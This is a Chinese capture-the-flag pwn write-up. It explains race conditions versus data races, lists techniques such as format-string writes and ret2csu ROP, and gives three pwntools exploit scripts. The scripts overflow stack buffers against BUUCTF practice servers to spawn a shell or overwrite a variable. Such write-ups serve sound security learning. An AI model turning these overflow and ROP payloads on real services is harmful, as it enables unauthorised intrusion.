NewStarCTF WEEK3
WEEK3
cat flag
竞态条件和数据竞争
竞态条件:强调的是被操作的资源A在被对象B操作完之后,其结果与预期的结果不一样。此时受影响的对象是被操作的资源A,并不关心操作资源的对象B是否受到此资源的影响。
比如两个线程A和B对一个数据a进行"++a"操作,如果一个线程B是在另一个线程A操作完之后再取到的数据a,则a的最终结果是正确的。如果A的操作还未完成之前,B就取到a的值并对其进行修改,那么a的最终结果与预期不符。这里就竞态条件。
数据竞争:强调的是访问资源B的对象A在访问资源B的时候取到错误的数据而出现错误的结果。此时受影响的对象是操作资源B的对象A,而不关心资源B本身是否是正确的。
比如一个线程A在修改数据a,此时线程B不知道线程A在修改数据a,并在修改还未完成的情况下取到了a的值并进行别的计算,此时B其实取到的就是错误的值,但是数据a本身没有错误。这里就是数据竞争。
由此看来,两者针对的对象并不一样,但是在同样的环境下也可能会有"竞态条件"和"数据竞争"同时出现的情况。
sheep a flag
利用格式化字符串漏洞进行任意写.
read&write
另类ROP写法:利用数组进行rop构造.
利用数组下标越界进行地址泄露和ROP链参数传递.
return to csu
万能gadget的利用进行ROP链的构造.
buu
rip题解
保护+IDA:
main:
fun:
思路
通过gets函数进行栈溢出跳转到fun函数get shell.
exp:
#coding:utf-8
from pwn import*
res = remote('node4.buuoj.cn',29229)
#res = process('./rip')
pop_rdi = 0x4011fb
ret = 0x401016
binsh = 0x40201b
sys_addr = 0x401040
res.recvuntil('input')
payload=b'a' * (0xf + 0x8) + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(sys_addr)
res.sendline(payload)
res.interactive()
warm_up
保护+IDA:
main:
sub_40060D:
思路
栈溢出到sub_40060D函数.
exp:
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#res = process('./warm')
res = remote('node4.buuoj.cn',29527)
payload = b'a' * (0x40 + 0x8) + p64(0x40060D)
res.recvuntil('>')
res.sendline(payload)
res.interactive()
ciscn_2019
保护+IDA:
main:
fun:
数据空间:
思路
栈溢出到v2处写入11.28125.
找到11.28125的十六进制表达:
exp:
from pwn import *
#res = process('./ciscn')
res = remote('node4.buuoj.cn',26620)
payload = b'a' * 44 + p64(0x41348000)
res.sendline(payload)
res.interactive()